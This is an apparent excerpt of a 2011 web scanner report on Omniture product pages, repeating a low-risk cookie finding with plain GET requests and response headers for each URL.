HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:00:53 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:00:53 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:00:53 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:00:53 GMT; path=/; domain=omniture.com Content-Length: 36398
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Website Optimization & Tracking ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/conversion/testandtarget11 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:10 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:10 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:10 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:10 GMT; path=/; domain=omniture.com Content-Length: 34796
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Test and Target1:1 | Behavioral ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/marketing_integration/closed_loop_marketing HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:53 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:53 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:53 GMT Content-Length: 25652 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:53 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Closed Loop Marketing< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/marketing_integration/genesis HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:32 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:32 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:32 GMT Content-Length: 26018 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:32 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Email Marketing Software | Sale ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/marketing_integration/genesis/applications HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:47 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:47 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:47 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:47 GMT; path=/; domain=omniture.com Content-Length: 33517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Genesis Applications | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:29 GMT Content-Length: 23380 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Business Intelligence Software ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics/insight HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:34 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:34 GMT Content-Length: 31272 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Insight | Channel Ma ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics/insight_retail HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:31 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:31 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:31 GMT Content-Length: 32092 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:31 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Insight for Retail | Channel An ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:36 GMT Content-Length: 24893 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Web Analytics | Website Statist ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/digitalpulse HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:06 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:06 GMT Content-Length: 30768 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Analytics | Web Analytic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/discover HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:01 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:01 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:01 GMT Content-Length: 30260 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:01 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Online Analytics | D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/sitecatalyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:01 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:01 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:02 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:01 GMT; path=/; domain=omniture.com Content-Length: 41289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Analytics | Web Analytic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_business_optimization HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:29 GMT Content-Length: 23664 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Automation Sof ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_marketing_suite HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:00 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:00 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:00 GMT Content-Length: 25358 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:00 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Online Marketing Sui ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/open_business_analytics_platform HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:21 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:21 GMT Content-Length: 23462 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Open Business Analyt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/open_business_analytics_platform/datawarehouse HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:04:02 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:04:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:04:03 GMT Content-Length: 22167 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:04:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Open Business Analyt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/tours HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:58 GMT Content-Length: 27316 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:58 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture - Online Product Tours ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
